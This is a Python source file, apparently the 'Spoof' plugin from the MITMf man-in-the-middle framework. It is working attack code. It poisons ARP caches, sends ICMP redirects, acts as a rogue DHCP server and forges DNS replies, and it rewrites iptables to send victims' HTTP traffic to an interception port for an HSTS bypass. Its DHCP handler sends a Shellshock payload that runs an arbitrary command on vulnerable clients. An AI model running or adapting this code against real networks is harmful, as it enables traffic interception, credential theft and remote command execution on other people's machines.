mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-03-12 04:35:49 -07:00
369 lines
15 KiB
Python
369 lines
15 KiB
Python
#
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# DNS Spoofing code has been stolen from https://github.com/DanMcInerney/dnsspoof/
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#
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from twisted.internet import reactor
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from twisted.internet.interfaces import IReadDescriptor
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from plugins.plugin import Plugin
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from time import sleep
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import dns.resolver
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import nfqueue
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import logging
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logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
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from scapy.all import *
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import os
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import sys
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import threading
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import binascii
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import random
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try:
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from configobj import ConfigObj
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except:
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sys.exit('[-] configobj library not installed!')
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class Spoof(Plugin):
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name = "Spoof"
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optname = "spoof"
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desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP'
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has_opts = True
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def initialize(self, options):
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'''Called if plugin is enabled, passed the options namespace'''
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self.options = options
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self.interface = options.interface
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self.arp = options.arp
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self.icmp = options.icmp
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self.dns = options.dns
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self.dnscfg = options.dnscfg
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self.dhcp = options.dhcp
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self.dhcpcfg = options.dhcpcfg
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self.shellshock = options.shellshock
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self.cmd = options.cmd
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self.gateway = options.gateway
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#self.summary = options.summary
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self.target = options.target
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self.arpmode = options.arpmode
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self.port = options.listen
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self.hsts = options.hsts
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self.hstscfg = "./config_files/hsts_bypass.cfg"
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self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
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self.debug = False
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self.send = True
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if os.geteuid() != 0:
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sys.exit("[-] Spoof plugin requires root privileges")
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if not self.interface:
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sys.exit('[-] Spoof plugin requires --iface argument')
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if self.options.log_level == 'debug':
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self.debug = True
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print "[*] Spoof plugin online"
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if not self.manualiptables:
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os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
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try:
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self.mac = get_if_hwaddr(self.interface)
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except Exception, e:
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sys.exit('[-] Error retrieving interfaces MAC address: %s' % e)
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if self.arp:
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if not self.gateway:
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sys.exit("[-] --arp argument requires --gateway")
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self.routermac = getmacbyip(self.gateway)
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print "[*] ARP Spoofing enabled"
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if self.arpmode == 'req':
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pkt = self.build_arp_req()
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elif self.arpmode == 'rep':
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pkt = self.build_arp_rep()
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thread_target = self.send_packets
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thread_args = (pkt, self.interface, self.debug,)
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elif self.icmp:
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if not self.gateway:
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sys.exit("[-] --icmp argument requires --gateway")
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self.routermac = getmacbyip(self.gateway)
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print "[*] ICMP Redirection enabled"
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pkt = self.build_icmp()
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thread_target = self.send_packets
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thread_args = (pkt, self.interface, self.debug,)
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elif self.dhcp:
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print "[*] DHCP Spoofing enabled"
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if self.target:
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sys.exit("[-] --target argument invalid when DCHP spoofing")
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self.rand_number = []
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self.dhcp_dic = {}
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self.dhcpcfg = ConfigObj(self.dhcpcfg)
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thread_target = self.dhcp_sniff
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thread_args = ()
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else:
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sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
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if (self.dns or self.hsts):
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print "[*] DNS Tampering enabled"
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if self.dns:
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self.dnscfg = ConfigObj(self.dnscfg)
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self.hstscfg = ConfigObj(self.hstscfg)
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if not self.manualiptables:
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os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
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self.start_dns_queue()
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file = open('/proc/sys/net/ipv4/ip_forward', 'w')
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file.write('1')
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file.close()
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if not self.manualiptables:
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print '[*] Setting up iptables'
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os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
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t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)
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t.setDaemon(True)
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t.start()
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def dhcp_rand_ip(self):
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pool = self.dhcpcfg['ip_pool'].split('-')
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trunc_ip = pool[0].split('.'); del(trunc_ip[3])
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max_range = int(pool[1])
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min_range = int(pool[0].split('.')[3])
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number_range = range(min_range, max_range)
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for n in number_range:
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if n in self.rand_number:
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number_range.remove(n)
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rand_number = random.choice(number_range)
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self.rand_number.append(rand_number)
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rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
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return rand_ip
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def dhcp_callback(self, resp):
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if resp.haslayer(DHCP):
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xid = resp[BOOTP].xid
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mac_addr = resp[Ether].src
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raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
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if xid in self.dhcp_dic.keys():
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client_ip = self.dhcp_dic[xid]
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else:
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client_ip = self.dhcp_rand_ip()
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self.dhcp_dic[xid] = client_ip
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if resp[DHCP].options[0][1] == 1:
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logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
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logging.info("Sending DHCP OFFER")
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packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
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IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
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DHCP(options=[("message-type", "offer"),
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('server_id', get_if_addr(self.interface)),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', get_if_addr(self.interface)),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240),
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"end"]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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sendp(packet, iface=self.interface, verbose=self.debug)
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if resp[DHCP].options[0][1] == 3:
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logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
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packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
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IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
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DHCP(options=[("message-type", "ack"),
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('server_id', get_if_addr(self.interface)),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', get_if_addr(self.interface)),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240)]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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if self.shellshock:
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logging.info("Sending DHCP ACK with shellshock payload")
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packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.cmd)))
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packet[DHCP].options.append("end")
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else:
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logging.info("Sending DHCP ACK")
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packet[DHCP].options.append("end")
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sendp(packet, iface=self.interface, verbose=self.debug)
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def dhcp_sniff(self):
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sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface)
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def send_packets(self, pkt, interface, debug):
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while self.send:
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sendp(pkt, inter=2, iface=interface, verbose=debug)
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def build_icmp(self):
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pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\
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IP(src=self.target, dst=self.gateway)/UDP()
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return pkt
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def build_arp_req(self):
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if self.target is None:
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pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
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elif self.target:
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target_mac = getmacbyip(self.target)
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if target_mac is None:
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sys.exit("[-] Error: Could not resolve targets MAC address")
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pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target)
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return pkt
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def build_arp_rep(self):
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if self.target is None:
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pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
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elif self.target:
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target_mac = getmacbyip(self.target)
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if target_mac is None:
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sys.exit("[-] Error: Could not resolve targets MAC address")
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pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
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return pkt
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def resolve_domain(self, domain):
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try:
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#logging.info("Resolving -> %s" % domain)
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answer = dns.resolver.query(domain, 'A')
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real_ips = []
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for rdata in answer:
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real_ips.append(rdata.address)
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if len(real_ips) > 0:
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return real_ips
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except Exception:
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logging.debug("Error resolving " + domain)
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def nfqueue_callback(self, payload, *kargs):
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data = payload.get_data()
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pkt = IP(data)
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if not pkt.haslayer(DNSQR):
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payload.set_verdict(nfqueue.NF_ACCEPT)
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else:
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#logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
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if self.dns:
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for k, v in self.dnscfg.items():
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if k in pkt[DNSQR].qname:
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self.modify_dns(payload, pkt, v)
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elif self.hsts:
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if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
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for k,v in self.hstscfg.items():
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if v == pkt[DNSQR].qname[:-1]:
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ip = self.resolve_domain(k)
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if ip:
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self.modify_dns(payload, pkt, ip)
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if 'wwww' in pkt[DNSQR].qname:
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ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
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if ip:
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self.modify_dns(payload, pkt, ip)
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if 'web' in pkt[DNSQR].qname:
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ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
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if ip:
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self.modify_dns(payload, pkt, ip)
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def modify_dns(self, payload, pkt, ip):
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spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
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UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
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DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
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if self.hsts:
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spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
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for i in ip:
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spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
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payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
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logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
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if self.dns:
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spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
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logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
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def start_dns_queue(self):
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self.q = nfqueue.queue()
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self.q.set_callback(self.nfqueue_callback)
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self.q.fast_open(0, socket.AF_INET)
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self.q.set_queue_maxlen(5000)
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reactor.addReader(self)
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self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
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def fileno(self):
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return self.q.get_fd()
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def doRead(self):
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self.q.process_pending(100)
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def connectionLost(self, reason):
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reactor.removeReader(self)
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def logPrefix(self):
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return 'queue'
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def add_options(self, options):
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group = options.add_mutually_exclusive_group(required=False)
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group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
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group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
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group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
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options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
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options.add_argument('--shellshock', dest='shellshock', action='store_true', default=False, help='Trigger the Shellshock vuln when spoofing DHCP')
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options.add_argument('--cmd', type=str, dest='cmd', default="echo 'pwned'", help='Command to run on vulnerable clients [default: echo pwned]')
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options.add_argument("--dnscfg", type=file, default="./config_files/dns.cfg", help="DNS tampering config file [default: dns.cfg]")
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options.add_argument("--dhcpcfg", type=file, default="./config_files/dhcp.cfg", help="DHCP spoofing config file [default: dhcp.cfg]")
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options.add_argument('--iface', dest='interface', help='Specify the interface to use')
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options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
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options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
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options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
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#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
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options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
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def finish(self):
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self.send = False
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sleep(3)
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file = open('/proc/sys/net/ipv4/ip_forward', 'w')
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file.write('0')
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file.close()
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if not self.manualiptables:
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print '\n[*] Flushing iptables'
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os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
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if (self.dns or self.hsts):
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try:
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self.q.unbind(socket.AF_INET)
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self.q.close()
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except:
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pass
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if self.arp:
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print '[*] Re-arping network'
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pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2)
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sendp(pkt, inter=1, count=5, iface=self.interface)
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